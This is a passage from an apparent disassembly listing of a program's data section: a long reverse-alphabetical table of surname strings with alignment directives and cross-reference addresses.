'Plancon',0 ; DATA XREF: ___:0042E9B8o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E9B4o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E9B0o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E9ACo aPettit db 'Pettit',0 ; DATA XREF: ___:0042E9A8o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E9A4o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E9A0o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E99Co align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E998o align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E994o align 10h aPerna db 'Perna',0 ; DATA XREF: ___:0042E990o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E98Co aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E988o align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E984o align 10h aPereira db 'Pereira',0 ; DATA XREF: ___:0042E980o aPenny db 'Penny',0 ; DATA XREF: ___:0042E97Co align 10h aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E978o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E974o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E970o align 10h aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E96Co aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E968o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E964o align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E960o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E95Co aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E958o align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E954o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E950o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E94Co align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E948o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E944o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E940o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E93Co align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E938o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E934o align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E930o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E92Co align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E928o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E924o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E920o align 10h aPaine db 'Paine',0 ; DATA XREF: ___:0042E91Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E918o align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E914o align 10h aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E910o aOtten db 'Otten',0 ; DATA XREF: ___:0042E90Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E908o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E904o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E900o align 10h aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E8FCo align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E8F8o aOray db 'Oray',0 ; DATA XREF: ___:0042E8F4o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E8F0o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E8ECo aOman db 'Oman',0 ; DATA XREF: ___:0042E8E8o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E8E4o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E8E0o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E8DCo align 10h aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E8D8o align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E8D4o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E8D0o aOh db 'Oh',0 ; DATA XREF: ___:0042E8CCo align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E8C8o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E8C4o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E8C0o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E8BCo align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E8B8o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E8B4o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E8B0o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E8ACo align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E8A8o align 10h aNg db 'Ng',0 ; DATA XREF: ___:0042E8A4o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E8A0o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E89Co aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E898o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E894o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E890o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E88Co align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E888o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E884o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E880o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E87Co align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E878o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E874o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E870o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E86Co aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E868o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E864o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E860o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E85Co align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E858o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E854o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E850o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E84Co align 10h aMosher db 'Mosher',0 ; DATA XREF: ___:0042E848o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E844o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E840o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E83Co align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E838o aMorani db 'Morani',0 ; DATA XREF: ___:0042E834o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E830o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E82Co align 10h aMonque db 'Monque',0 ; DATA XREF: ___:0042E828o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E824o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E820o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E81Co aModestino db 'Modestino',0 ; DATA XREF: ___:0042E818o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E814o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E810o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E80Co aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E808o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E804o aMini db 'Mini',0 ; DATA XREF: ___:0042E800o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E7FCo align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E7F8o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E7F4o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E7F0o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E7ECo align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E7E8o align 10h aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E7E4o align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E7E0o aMerz db 'Merz',0 ; DATA XREF: ___:0042E7DCo align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E7D8o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E7D4o align 10h aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E7D0o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E7CCo align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E7C8o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E7C4o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E7C0o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E7BCo aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E7B8o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E7B4o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E7B0o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E7ACo aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E7A8o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E7A4o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E7A0o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E79Co align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E798o align 10h aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E794o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E790o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E78Co align 10h aMccall db 'Mccall',0 ; DATA XREF: ___:0042E788o align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E784o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E780o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E77Co align 4 aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E778o aMay db 'May',0 ; DATA XREF: ___:0042E774o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E770o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E76Co aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E768o align 10h aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E764o align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E760o aMass db 'Mass',0 ; DATA XREF: ___:0042E75Co align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E758o align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E754o align 10h aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E750o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E74Co align 4 aMarques db 'Marques',0 ; DATA XREF: ___:0042E748o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E744o align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E740o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E73Co align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E738o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E734o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E730o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E72Co aMandel db 'Mandel',0 ; DATA XREF: ___:0042E728o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E724o aMalova db 'Malova',0 ; DATA XREF: ___:0042E720o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E71Co align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E718o align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E714o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E710o align 10h aMaier db 'Maier',0 ; DATA XREF: ___:0042E70Co align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E708o align 10h aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E704o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E700o aMacy db 'Macy',0 ; DATA XREF: ___:0042E6FCo align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E6F8o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E6F4o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E6F0o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E6ECo align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E6E8o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E6E4o align 10h aMa db 'Ma',0 ; DATA XREF: ___:0042E6E0o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E6DCo aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E6D8o align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E6D4o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E6D0o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E6CCo aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E6C8o align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E6C4o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E6C0o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E6BCo align 10h aLubin db 'Lubin',0 ; DATA XREF: ___:0042E6B8o align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042E6B4o align 10h aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E6B0o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E6ACo aLoss db 'Loss',0 ; DATA XREF: ___:0042E6A8o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E6A4o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E6A0o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E69Co aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E698o aLivi db 'Livi',0 ; DATA XREF: ___:0042E694o align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E690o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E68Co align 10h aLittle db 'Little',0 ; DATA XREF: ___:0042E688o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E684o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E680o align 10h aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E67Co align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E678o aLine db 'Line',0 ; DATA XREF: ___:0042E674o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042E670o align 10h aLinda db 'Linda',0 ; DATA XREF: ___:0042E66Co align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042E668o aLim db 'Lim',0 ; DATA XREF: ___:0042E664o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E660o align 10h aLight db 'Light',0 ; DATA XREF: ___:0042E65Co align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042E658o align 10h aLidano db 'Lidano',0 ; DATA XREF: ___:0042E654o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E650o align 10h aLessi db 'Lessi',0 ; DATA XREF: ___:0042E64Co align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042E648o align 10h aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E644o align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042E640o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042E63Co align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E638o align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042E634o align 10h aLecar db 'Lecar',0 ; DATA XREF: ___:0042E630o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042E62Co aLashley db 'Lashley',0 ; DATA XREF: ___:0042E628o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E624o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E620o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E61Co align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042E618o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042E614o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E610o align 10h aLaing db 'Laing',0 ; DATA XREF: ___:0042E60Co align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042E608o align 10h aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E604o aLa db 'La',0 ; DATA XREF: ___:0042E600o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E5FCo align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042E5F8o align 10h aKumar db 'Kumar',0 ; DATA XREF: ___:0042E5F4o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E5F0o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E5ECo aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E5E8o aKraus db 'Kraus',0 ; DATA XREF: ___:0042E5E4o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E5E0o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E5DCo align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E5D8o aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E5D4o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042E5D0o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E5CCo align 4 aKool db 'Kool',0 ; DATA XREF: ___:0042E5C8o align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E5C4o align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E5C0o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042E5BCo align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E5B8o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0042E5B4o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042E5B0o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E5ACo aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E5A8o align 4 aKlint db 'Klint',0 ; DATA XREF: ___:0042E5A4o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E5A0o aKling db 'Kling',0 ; DATA XREF: ___:0042E59Co align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E598o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E594o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E590o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E58Co align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E588o align 10h aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E584o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E580o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E57Co aKindall db 'Kindall',0 ; DATA XREF: ___:0042E578o aKimura db 'Kimura',0 ; DATA XREF: ___:0042E574o align 10h aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E570o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E56Co align 10h aKhong db 'Khong',0 ; DATA XREF: ___:0042E568o align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042E564o align 10h aKerry db 'Kerry',0 ; DATA XREF: ___:0042E560o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042E55Co aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E558o aKempton db 'Kempton',0 ; DATA XREF: ___:0042E554o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E550o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042E54Co align 10h aKeith db 'Keith',0 ; DATA XREF: ___:0042E548o align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E544o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E540o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042E53Co aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E538o aKasten db 'Kasten',0 ; DATA XREF: ___:0042E534o align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042E530o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E52Co align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042E528o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042E524o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042E520o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E51Co align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042E518o align 10h aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E514o align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E510o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E50Co aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E508o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E504o aJulious db 'Julious',0 ; DATA XREF: ___:0042E500o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E4FCo aJucks db 'Jucks',0 ; DATA XREF: ___:0042E4F8o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E4F4o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042E4F0o align 10h aJohns db 'Johns',0 ; DATA XREF: ___:0042E4ECo align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E4E8o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E4E4o aJewett db 'Jewett',0 ; DATA XREF: ___:0042E4E0o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E4DCo align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E4D8o aJellis db 'Jellis',0 ; DATA XREF: ___:0042E4D4o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E4D0o aJay db 'Jay',0 ; DATA XREF: ___:0042E4CCo aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E4C8o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E4C4o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E4C0o align 10h aJamil db 'Jamil',0 ; DATA XREF: ___:0042E4BCo align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042E4B8o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E4B4o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042E4B0o align 10h aJagers db 'Jagers',0 ; DATA XREF: ___:0042E4ACo align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042E4A8o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E4A4o aIyer db 'Iyer',0 ; DATA XREF: ___:0042E4A0o align 10h aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E49Co align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E498o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E494o align 10h aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E490o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042E48Co align 10h aInamura db 'Inamura',0 ; DATA XREF: ___:0042E488o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E484o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E480o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E47Co align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042E478o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E474o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E470o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042E46Co align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E468o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E464o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E460o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042E45Co align 10h aHoy db 'Hoy',0 ; DATA XREF: ___:0042E458o aHoward db 'Howard',0 ; DATA XREF: ___:0042E454o align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042E450o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042E44Co aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E448o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E444o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E440o aHooker db 'Hooker',0 ; DATA XREF: ___:0042E43Co align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E438o aHolway db 'Holway',0 ; DATA XREF: ___:0042E434o align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042E430o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E42Co aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E428o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E424o align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E420o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E41Co aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E418o align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042E414o align 10h aHoang db 'Hoang',0 ; DATA XREF: ___:0042E410o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E40Co align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042E408o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042E404o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E400o align 10h aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E3FCo align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E3F8o aHester db 'Hester',0 ; DATA XREF: ___:0042E3F4o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E3F0o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E3ECo align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E3E8o align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042E3E4o align 10h aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E3E0o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E3DCo aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E3D8o align 10h aHellman db 'Hellman',0 ; DATA XREF: ___:0042E3D4o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E3D0o aHeft db 'Heft',0 ; DATA XREF: ___:0042E3CCo align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E3C8o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E3C4o align 10h aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E3C0o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042E3BCo align 10h aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E3B8o align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E3B4o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E3B0o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E3ACo align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E3A8o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042E3A4o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E3A0o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E39Co align 10h aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E398o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042E394o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E390o aHand db 'Hand',0 ; DATA XREF: ___:0042E38Co align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E388o align 10h aHamer db 'Hamer',0 ; DATA XREF: ___:0042E384o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E380o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E37Co aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E378o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E374o aHaley db 'Haley',0 ; DATA XREF: ___:0042E370o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E36Co align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042E368o aHaar db 'Haar',0 ; DATA XREF: ___:0042E364o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042E360o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042E35Co aGunn db 'Gunn',0 ; DATA XREF: ___:0042E358o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E354o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E350o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042E34Co align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E348o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E344o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E340o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E33Co align 4 aGreenberg db 'Greenberg',0 ; DATA 